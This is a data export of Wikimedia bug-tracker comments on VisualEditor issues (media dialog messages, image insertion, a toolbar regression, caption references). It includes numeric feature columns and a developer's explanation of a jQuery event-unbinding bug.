https://gerrit.wikimedia.org/r/133050",,,1400109025,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.130434782608695,0.9565217391304348,"Change 133050 merged by jenkins-bot:
If no media is found display a message in media insert dialog

GERRIT_URL"
235579,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Change 133050 had a related patch set uploaded by Mooeypoo:
If no media is found display a message in media insert dialog

https://gerrit.wikimedia.org/r/133050",,,1399963305,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,45,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,15.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.346153846153846,0.9230769230769231,"Change 133050 had a related patch set uploaded by Mooeypoo:
If no media is found display a message in media insert dialog

GERRIT_URL"
235572,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"WhatamIdoing, there is a design that has not been implemented yet for the image dialog that allow quick access to users uploads, perhaps in the case of zero search results, we can automatically show that mode.",,,1391711753,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,31,,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,8.0,5.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,4.35,0.875,"WhatamIdoing, there is a design that has not been implemented yet for the image dialog that allow quick access to users uploads, perhaps in the case of zero search results, we can automatically show that mode."
235565,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,*** Bug 60932 has been marked as a duplicate of this bug. ***,,,1391659253,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,True,,,31,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 60932 has been marked as a duplicate of this bug. ***
235561,VisualEditor: Media insertion dialog should display a message if no media is found for the given search,"Given the fact that users often want to add the image that they just uploaded, and that Commons's search is fairly often taking a couple of days to ""notice"" that these images exist, the default message on wikis that use Commons should say something like ""No image was found.  If you just uploaded an image with this name, this may be due to the image not being indexed in Commons's search database yet.  Please try again in a couple of days.""

It might also be worth linking to a help page that describes limitations in the search protocol.  For example, it will find images if I give it the whole name (""2013AliceAndBob"") but not if I give it just the start of the name (""2013Alice"").",,,1376588485,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-v2iurekb2mj5nlfaied2,task_subcomment,,True,c1,3,False,,,6,,0.0,0.5,0.0,1.0,1.0,2.0,1.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,6.5,11.5,0.5,1.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,4.0,1.5,2.5,1.0,0.5,0.0,0.0,1.0,0.0,0.5,0.5,0.5,0.5,0.0,1.0,0.5,0.5,1.0,15.0,1.0,1.5,0.0,1.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.5,0.0,7.0,2.5,6.5,3.5,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.5,1.5,0.0,5.0,11.5,2.0,0.0,5.0,0.0,5.0,0.0,1.5,2.5,0.0,1.0,0.0,0.0,0.0,3.6787423103212573,0.7057416267942584,"Given the fact that users often want to add the image that they just uploaded, and that Commons's search is fairly often taking a couple of days to ""notice"" that these images exist, the default message on wikis that use Commons should say something like ""No image was found.  If you just uploaded an image with this name, this may be due to the image not being indexed in Commons's search database yet.  Please try again in a couple of days.""

It might also be worth linking to a help page that describes limitations in the search protocol.  For example, it will find images if I give it the whole name (""2013AliceAndBob"") but not if I give it just the start of the name (""2013Alice"")."
54460,VisualEditor:  Inserting media when text is selected should not overwrite text,"When a user tries to inset an image or other media while they have text selected, the text is replaced by the media. This probably is not what they want and is contrary to how the transclusion editor works (inserts the template after the selected text).

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1375459440,1378335667.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-bpmyhnrfcuvcbkkh3dqm,task_description,resolved,True,c1,3,False,False,True,4,,0.0,0.0,0.0,1.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,7.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,6.0,4.0,3.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,4.057971014492754,0.6811594202898551,"When a user tries to inset an image or other media while they have text selected, the text is replaced by the media. This probably is not what they want and is contrary to how the transclusion editor works (inserts the template after the selected text).

--------------------------
**Version**: unspecified
**Severity**: normal"
235386,VisualEditor:  Inserting media when text is selected should not overwrite text,"Change 82463 merged by jenkins-bot:
Insert images after selection, not in place of it

https://gerrit.wikimedia.org/r/82463",,,1378335605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bpmyhnrfcuvcbkkh3dqm,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,19.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0476190476190474,1.0,"Change 82463 merged by jenkins-bot:
Insert images after selection, not in place of it

GERRIT_URL"
235380,VisualEditor:  Inserting media when text is selected should not overwrite text,"Change 82463 had a related patch set uploaded by Trevor Parscal:
Insert images after selection, not in place of it

https://gerrit.wikimedia.org/r/82463",,,1378240685,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bpmyhnrfcuvcbkkh3dqm,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,16.0,16.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.32,1.0,"Change 82463 had a related patch set uploaded by Trevor Parscal:
Insert images after selection, not in place of it

GERRIT_URL"
54441,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"As of recently the toolbar no longer goes in/out of floating mode after opening an inspector. It will stay in whatever position it was (fixed/absolute, top/left/right/height)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=52504",High,80.0,1375424760,1375475301.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5butgjmyg5i25tvyzxlh,task_description,resolved,True,c1,3,True,False,True,4,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,10.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,3.5,0.6764705882352942,"As of recently the toolbar no longer goes in/out of floating mode after opening an inspector. It will stay in whatever position it was (fixed/absolute, top/left/right/height)

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
234329,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,*** Bug 52739 has been marked as a duplicate of this bug. ***,,,1376521783,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,True,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52739 has been marked as a duplicate of this bug. ***
234323,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,*** Bug 52789 has been marked as a duplicate of this bug. ***,,,1376476088,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52789 has been marked as a duplicate of this bug. ***
234316,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,*** Bug 52433 has been marked as a duplicate of this bug. ***,,,1375991502,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52433 has been marked as a duplicate of this bug. ***
234310,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,*** Bug 52326 has been marked as a duplicate of this bug. ***,,,1375936189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52326 has been marked as a duplicate of this bug. ***
234304,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"Now fixed in the code; next scheduled deployment is not until 15 August,
however. :-(",,,1375475301,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.789473684210526,1.0,"Now fixed in the code; next scheduled deployment is not until 15 August,
however. :-("
234297,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"Change 77274 merged by jenkins-bot:
ve.ui.Toolbar: Use closure instead of ve.bind for event handlers

https://gerrit.wikimedia.org/r/77274",,,1375439587,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3478260869565215,0.9565217391304348,"Change 77274 merged by jenkins-bot:
ve.ui.Toolbar: Use closure instead of ve.bind for event handlers

GERRIT_URL"
234287,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"Change 77274 had a related patch set uploaded by Krinkle:
ve.ui.Toolbar: Use closure instead of ve.bind for event handlers

https://gerrit.wikimedia.org/r/77274",,,1375429015,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.5,0.9615384615384616,"Change 77274 had a related patch set uploaded by Krinkle:
ve.ui.Toolbar: Use closure instead of ve.bind for event handlers

GERRIT_URL"
234279,VisualEditor: [Regression] Toolbar floating mode broken after opening an inspector,"After much debugging (filed the bug only now), I figured out what caused it:

The target toolbar continues to have toolbar.floatable === true. That never gets disabled by anything, so that's good.

What happens is that the toolbar inside the context menu, twice, gets called disableFloatable on. Though that is a separate instance, independent, there is 1 place where it effects global state unfortunately: the $window handlers.

The prototype is inherited by each instance, naturally, which means toolbarA.onWindowScroll === toolbarB.onWindowScroll. So when we pass them to $window.off to unbind by reference, it does exactly what you (now) expect, thus also breaking it for other toolbars.

However that's not what's happening, actually, because we (of course) want each toolbar to have the event bound to the exact instance of ve.ui.Toolbar, and we do so by using ve.bind.

Which means toolbarA.windowEvents.scroll is a unique closure, separate from toolbarB.windowEvents.scroll. That is what makes it work. So why does it fail?

Well, jQuery.proxy (=== ve.bind) is so nice for us that it tacks a guid property on the function reference to make sure that when binding a function to a scope, we can still identify it. This e.g. makes the following possible:

 1: $foo.on( 'scroll', $.proxy( myHandler ) );
 2: $foo.off( 'scroll', myHandler );
 3: // or alternatively, though useless:
 4: $foo.off( 'scroll', $.proxy( myHandler ) );

jQuery's event system uses this same guid (when present) to unbind a method.

So the first time we call ve.bind in a ve.ui.Toolbar construction, a guid is added to #onWindowScroll.. And the second time it just uses the same guid again (which makes line 4 above work). It does still make a new closure, so there's no problem with the second one being given a cached closure or something that refers to the first instance, nothing like that.

However we very much don't want this. We need each one to be unique not just by reference and context bound, but no shared guids.

Finally, why did this break only recently? Well, before 14343c7bf7 toolbar.$window was null by default and stayed that way until enableFloating was called. So the call to disableFloating for the context menu toolbar did nothing.

14343c7bf7 refactored the code to always need a toolbar.$window during initialisation, and for efficiency kept the instance around as to not create/destroy it each time.

So though 14343c7bf7 introduced the bug being more visible, the problem was already in the code. Both then and now, when enableFloating is called and then disableFloating, the disableFloating unbinds all window events for effectively all toolbars.


Also:
- During debugging I found that we're calling disableFloatable *twice* on the context menu toolbar (once when the inspector is opened and again when we close it). That should be optimised to one. Or better, don't call it at all since it is disabled by default.",,,1375428640,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5butgjmyg5i25tvyzxlh,task_subcomment,,True,c1,3,True,,,4,,1.2857142857142858,0.2857142857142857,0.14285714285714285,1.2857142857142858,0.7142857142857143,4.714285714285714,1.1428571428571428,0.14285714285714285,0.42857142857142855,0.0,1.1428571428571428,1.2857142857142858,0.2857142857142857,0.2857142857142857,0.2857142857142857,1.7142857142857142,0.5714285714285714,9.142857142857142,8.285714285714286,0.5714285714285714,1.1428571428571428,0.14285714285714285,0.2857142857142857,0.0,1.8571428571428572,0.2857142857142857,0.0,0.42857142857142855,0.14285714285714285,0.0,0.2857142857142857,6.857142857142857,0.5714285714285714,2.0,0.2857142857142857,0.14285714285714285,0.0,0.2857142857142857,0.14285714285714285,0.0,0.14285714285714285,0.14285714285714285,1.0,0.5714285714285714,0.2857142857142857,0.14285714285714285,0.0,0.0,0.14285714285714285,12.142857142857142,1.1428571428571428,1.0,0.5714285714285714,0.5714285714285714,0.0,0.14285714285714285,0.14285714285714285,0.0,0.5714285714285714,0.0,0.42857142857142855,0.5714285714285714,0.2857142857142857,0.0,0.14285714285714285,0.0,0.0,5.285714285714286,2.7142857142857144,4.571428571428571,2.857142857142857,2.0,8.857142857142858,0.0,0.0,0.0,0.14285714285714285,2.4285714285714284,0.2857142857142857,2.142857142857143,0.0,4.142857142857143,8.285714285714286,0.8571428571428571,0.2857142857142857,0.8571428571428571,0.0,4.142857142857143,0.0,2.5714285714285716,1.5714285714285714,0.2857142857142857,1.5714285714285714,0.2857142857142857,0.0,0.14285714285714285,4.047115241080759,0.7201261382295865,"After much debugging (filed the bug only now), I figured out what caused it:

The target toolbar continues to have toolbar.floatable === true. That never gets disabled by anything, so that's good.

What happens is that the toolbar inside the context menu, twice, gets called disableFloatable on. Though that is a separate instance, independent, there is 1 place where it effects global state unfortunately: the $window handlers.

The prototype is inherited by each instance, naturally, which means toolbarA.onWindowScroll === toolbarB.onWindowScroll. So when we pass them to $window.off to unbind by reference, it does exactly what you (now) expect, thus also breaking it for other toolbars.

However that's not what's happening, actually, because we (of course) want each toolbar to have the event bound to the exact instance of ve.ui.Toolbar, and we do so by using ve.bind.

Which means toolbarA.windowEvents.scroll is a unique closure, separate from toolbarB.windowEvents.scroll. That is what makes it work. So why does it fail?

Well, jQuery.proxy (=== ve.bind) is so nice for us that it tacks a guid property on the function reference to make sure that when binding a function to a scope, we can still identify it. This e.g. makes the following possible:

 1: $foo.on( 'scroll', $.proxy( myHandler ) );
 2: $foo.off( 'scroll', myHandler );
 3: // or alternatively, though useless:
 4: $foo.off( 'scroll', $.proxy( myHandler ) );

jQuery's event system uses this same guid (when present) to unbind a method.

So the first time we call ve.bind in a ve.ui.Toolbar construction, a guid is added to #onWindowScroll.. And the second time it just uses the same guid again (which makes line 4 above work). It does still make a new closure, so there's no problem with the second one being given a cached closure or something that refers to the first instance, nothing like that.

However we very much don't want this. We need each one to be unique not just by reference and context bound, but no shared guids.

Finally, why did this break only recently? Well, before 14343c7bf7 toolbar.$window was null by default and stayed that way until enableFloating was called. So the call to disableFloating for the context menu toolbar did nothing.

14343c7bf7 refactored the code to always need a toolbar.$window during initialisation, and for efficiency kept the instance around as to not create/destroy it each time.

So though 14343c7bf7 introduced the bug being more visible, the problem was already in the code. Both then and now, when enableFloating is called and then disableFloating, the disableFloating unbinds all window events for effectively all toolbars.


Also:
- During debugging I found that we're calling disableFloatable *twice* on the context menu toolbar (once when the inspector is opened and again when we close it). That should be optimised to one. Or better, don't call it at all since it is disabled by default."
54427,VisualEditor: references in image captions are not included in reflists,"Similar to bug 51289 and bug 52398 references that are defined in image captions do not appear in reflists. Example at [[Radiocarbon dating]].

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=51289
https://bugzilla.wikimedia.org/show_bug.cgi?id=52398
https://bugzilla.wikimedia.org/show_bug.cgi?id=50459",High,80.0,1375398120,1384844452.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_description,resolved,True,c1,3,False,False,False,4,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,3.557377049180328,0.5901639344262295,"Similar to bug 51289 and bug 52398 references that are defined in image captions do not appear in reflists. Example at [[Radiocarbon dating]].

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL
URL
URL"
233531,VisualEditor: references in image captions are not included in reflists,"Re-setting as FIXED, and have raised the regression as bug 57228.",,,1384844452,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7i5ifep2qqvrl24ie5dq,task_subcomment,,True,c1,3,True,,,20,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.6666666666666665,0.9333333333333333,"Re-setting as FIXED, and have raised the regression as bug 57228."
233527,VisualEditor: references in image captions are not included in reflists,"<<[...] the references 20 and 21 in https://en.wikipedia.org/wiki/Baruch_Spinoza?veaction=edit which are in image captions disappear from the references list in VE and the numbering becomes discombobulated. Win7 FF 24.0 Monobook. --Atethnekos (Discussion, Contributions) 05:42, 12 November 2013 